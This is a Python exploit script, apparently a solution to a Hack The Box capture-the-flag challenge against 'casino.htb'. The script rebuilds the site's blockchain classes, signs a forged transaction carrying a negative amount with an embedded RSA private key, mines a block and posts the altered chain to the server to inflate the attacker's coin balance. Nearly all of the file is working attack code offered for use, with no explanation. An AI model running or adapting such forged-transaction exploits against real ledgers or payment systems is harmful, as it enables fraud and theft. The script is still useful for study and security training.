# TG : @HTB0X
import requests
import time
import json
import base64
from copy import deepcopy
from collections import OrderedDict
from hashlib import sha512
from Crypto.PublicKey import RSA
from Crypto.Hash import SHA
from Crypto.Signature import PKCS1_v1_5
BLOCKCHAIN_URL = "http://casino.htb/blockchain"
class Blockchain:
def __init__(self, bank_address):
self.genesis_block = Block({'index': 0, 'previous_hash': 1, 'transactions': [], 'nonce': 0, 'timestamp': 0})
self.bank_address = bank_address
genesis_transaction = Transaction(sender_address="0", receiver_address=bank_address, amount=4,
transaction_inputs='', is_genesis=True, user_id='0')
self.genesis_block.transactions.append(genesis_transaction)
self.genesis_block.current_hash = self.genesis_block.get_hash()
self.block_chain = [self.genesis_block]
def add_block(self, new_block):
if self.validate_block(new_block, 1):
self.block_chain.append(new_block)
return self
def mine_block(self, block_to_mine, difficulty):
nonce = 0
block_to_mine.nonce = nonce
block_hash = block_to_mine.get_hash()
while block_hash[:difficulty] != '0' * difficulty:
nonce += 1
block_to_mine.nonce = nonce
block_hash = block_to_mine.get_hash()
block_to_mine.current_hash = block_hash
self.add_block(block_to_mine)
def to_json(self):
return json.dumps(OrderedDict([('blockchain', [block.to_ordered_dict() for block in self.block_chain])]), default=str)
def validate_block(self, block, difficulty, is_new_chain=False):
if difficulty * "0" != block.get_hash_obj().hexdigest()[:difficulty]:
return False
transaction_to_test = deepcopy(block.transactions[0])
transaction_to_test.signature = ""
transaction_to_test = transaction_to_test.to_json()
hash_object = SHA.new(transaction_to_test.encode('utf8'))
sender_public_key = block.transactions[0].sender_address
public_key = RSA.importKey(sender_public_key)
if block.transactions[0].receiver_address != self.genesis_block.transactions[0].receiver_address \
and block.transactions[0].receiver_address != block.transactions[0].sender_address \
and block.transactions[0].sender_address != self.genesis_block.transactions[0].receiver_address:
return False
if not is_new_chain:
if self.block_chain[-1].current_hash != block.previous_hash and block.index != 0:
if block.transactions[0].sender_address == self.genesis_block.transactions[0].receiver_address:
block.previous_hash = self.block_chain[-1].current_hash
self.mine_block(block, 1)
return False
return True
class Block:
def __init__(self, block_data):
self.index = block_data['index']
self.timestamp = block_data['timestamp']
self.transactions = block_data['transactions']
self.nonce = block_data['nonce']
self.previous_hash = block_data['previous_hash']
self.current_hash = None
def to_ordered_dict(self):
return OrderedDict([
('index', self.index),
('timestamp', self.timestamp),
('transactions', ([self.transaction_to_ordered_dict(trans) for trans in self.transactions])),
('nonce', self.nonce),
('previous_hash', self.previous_hash)
])
def transaction_to_ordered_dict(self, transaction):
try:
return OrderedDict([
('sender_address', transaction["sender_address"]),
('receiver_address', transaction["receiver_address"]),
('amount', transaction["amount"]),
('transaction_id', transaction["transaction_id"]),
('transaction_inputs', transaction["transaction_inputs"]),
('transaction_outputs', transaction["transaction_outputs"]),
("signature", transaction["signature"]),
("change", transaction["change"]),
("user_id", transaction["user_id"])])
except:
return transaction.to_ordered_dict()
def to_json(self):
return json.dumps(self.to_ordered_dict(), default=str)
def get_hash(self):
return self.get_hash_obj().hexdigest()
def get_hash_obj(self):
return sha512(str(self.to_json()).encode('utf-8'))
class Transaction:
transaction_counter = 0
def __init__(self, sender_address, receiver_address, amount, transaction_inputs, user_id, is_genesis=False):
self.sender_address = sender_address
self.receiver_address = receiver_address
self.amount = amount
self.transaction_id = str(user_id) + str(Transaction.transaction_counter)
self.transaction_inputs = transaction_inputs
self.transaction_outputs = []
self.signature = ''
self.change = 0
self.user_id = user_id
if not is_genesis:
total_utxo = 10000
self.change = total_utxo - self.amount
if self.change < 0:
self.change = 0
else:
self.change = -self.amount
self.transaction_outputs.append(
{str(self.user_id) + str(Transaction.transaction_counter): (self.receiver_address, self.amount)})
Transaction.transaction_counter += 1
self.transaction_outputs.append(
{str(self.user_id) + str(Transaction.transaction_counter): (self.sender_address, self.change)})
else:
self.transaction_outputs.append({"0" + str(Transaction.transaction_counter): (self.receiver_address, self.amount)})
Transaction.transaction_counter += 1
def to_ordered_dict(self):
return OrderedDict([
('sender_address', self.sender_address),
('receiver_address', self.receiver_address),
('amount', self.amount),
('transaction_id', self.transaction_id),
('transaction_inputs', self.transaction_inputs),
('transaction_outputs', self.transaction_outputs),
('signature', self.signature),
('change', self.change),
('user_id', self.user_id)
])
def to_json(self):
return json.dumps(self.to_ordered_dict(), default=str)
def sign_transaction(self, private_key):
private_key_obj = RSA.importKey(private_key)
signer = PKCS1_v1_5.new(private_key_obj)
transaction_data = self.to_ordered_dict()
hash_object = SHA.new(json.dumps(transaction_data, default=str).encode('utf8'))
self.signature = base64.b64encode(signer.sign(hash_object)).decode('utf8')
user_private_key = """-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEArWMxOCYivGCsSychynB30yPQLpSV4kKbQEoZUnEvyuBmoUBa
sxtFQixp8sOAmr+6v3C1/N2kQVjwv/+NzVpc/wdfZ72T2nGY01m25dqjAwwnNzGo
Q3qjfzUu7on4t73sQ6/2TV93miezcI4ZJr41XerqWzQlgXXKvhQzLVUDIGOVCvhI
H6yTHa2p/geAkf8s6IwOE/zbuQDpXqdY/u4u7hFh5THcvxsQa4pEWDSbyQiYPq86
jwS1xtZqG0T+ycK63bleEEqCuMvL7WZjIdHquBQS7MD8g14tQ25irzpnpcZwh7Du
qzPLaH3+olZHd+fNYKbWzdsF51ILaJoNno2GIwIDAQABAoIBAADEaZlYAdtXiiui
9rFQohcbF3a9TZR8uvcj3MzSl2WMbKfWAxC71Cigza83UkBdDNSACS4fRPTNEfOn
i9cWyUaPn8pzuk3DJuv4f6iwuPvwd9P0skvqJQMRFy4TCji17G+4PZzGCV9zQYYD
+vSC7vWFbpgMuQXDoawJpthSgfsIs+cfnvPUEZkXGtxomaQGLm6W9KVXaP5YfT2k
V7N4UPWASqI4bIgZfJy6dpLWpBApIDV26iHWAOyN4lE4q3Mk3K+tlxqMbbooCTED
49ZK9aP0+GHAglJxbR2jJ61Wu3CLby3CRoZL2joz7aC4lOOx1i4cV04p2+RfLzXb
8+HkY/ECgYEAwbdNycYR5ZRHTJTEwZz0R2aSpWRam23Yu0IivMC151dM7zpvY51z
24mUCtxYlQ5TvI9ebNEDWRWn3jBbRe8PvLdNiwcBmDYgZ7j+AjXe4axZWHiUIr0B
xVVLZNLHA9tpBoaT8Et33ZLF+Vkz3CXVinSluo5/DIzBPqyXbSPSEjcCgYEA5SKm
5Tx0V8TOks5e818hchGFj0PjR5I790O6J+Jlze3wd4L8EkTyftgvVlk+GXFFTewd
9a/C5ej3C9MXCHeOERgNj9L3dXhJGSAISc7/c+7xKQs5JNoA/Q9xR5O0Bts/pPqI
cKC5s4YiGeYUo5LBKHxREvl58FKNozTN47TA5XUCgYBcepz5QcTTfClZpwATilGY
MKC7sqAK6bL5Gsaoo7tzmNrSrmv0+3sPCKwTT0Q+zJsvPqaOfm4BvnPof99jEJDL
wBqVz590QgrQWaFx/rPLutLgiJf3yZGp2mFm3bVC4yFNizvfELhFoEdBFdPLOoiq
U6u210ZSAHRU7mJQKTSlmwKBgDYOT7tC4NuX5XgC0amuprBHa+/ZfzPyTs1NoAwq
wAOt/43iS99vfpnoHHrNgPX1n/j7HDJK7brZk/apLQTlV5G2z/Q/O/vtjakswmfP
Orq6AxDAwhFskNEipIHTWaRIcyJTrH6NnGG64i6j9fiE9aa8dU/5pQfKIfn/yhbP
HLbFAoGAT1SQp19keREECbeZq7uXRxXmSIfKMX6YOcFlSt0+zLdPnQ1/Z9Q5Z2t7
urq9NlVs/RLg1rtvv7YzROARdJcuqyDVNMC8hiirYd+Ckm+O9X28abHeZzgt/AZV
NzO3Z1YMad6t3t+NyTdRmOQMIfZ2SRpQdofAsKrizQ2xg6VN5WQ=
-----END RSA PRIVATE KEY-----"""
user_public_key = "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEArWMxOCYivGCsSychynB3\n0yPQLpSV4kKbQEoZUnEvyuBmoUBasxtFQixp8sOAmr+6v3C1/N2kQVjwv/+NzVpc\n/wdfZ72T2nGY01m25dqjAwwnNzGoQ3qjfzUu7on4t73sQ6/2TV93miezcI4ZJr41\nXerqWzQlgXXKvhQzLVUDIGOVCvhIH6yTHa2p/geAkf8s6IwOE/zbuQDpXqdY/u4u\n7hFh5THcvxsQa4pEWDSbyQiYPq86jwS1xtZqG0T+ycK63bleEEqCuMvL7WZjIdHq\nuBQS7MD8g14tQ25irzpnpcZwh7DuqzPLaH3+olZHd+fNYKbWzdsF51ILaJoNno2G\nIwIDAQAB\n-----END PUBLIC KEY-----"
blockchain_data = json.loads(requests.get("http://casino.htb/view_blockchain").text)
bank_wallet_address = blockchain_data['blockchain'][0]['transactions'][0]['receiver_address']
current_blockchain = Blockchain(bank_wallet_address)
blockchain_blocks = []
for block_data in blockchain_data['blockchain']:
new_block = Block(block_data)
new_block.current_hash = new_block.get_hash()
blockchain_blocks.append(new_block)
current_blockchain.block_chain = blockchain_blocks
malicious_transaction = Transaction(sender_address=user_public_key, receiver_address=bank_wallet_address, amount=-9999999999, transaction_inputs={"0":-9999999999}, user_id=2)
malicious_transaction.sign_transaction(user_private_key)
transactions = [malicious_transaction]
new_block = Block({
'index': len(current_blockchain.block_chain) - 1,
'timestamp': time.time(),
'transactions': transactions,
'nonce': current_blockchain.block_chain[-1].index + 1,
'previous_hash': current_blockchain.block_chain[-1].get_hash()
})
current_blockchain.mine_block(new_block, 1)
response = requests.post(BLOCKCHAIN_URL, json=current_blockchain.to_json())
if response.status_code == 200:
print("[±] Check your Coins !!")
else:
print("[!] Check Website !!")
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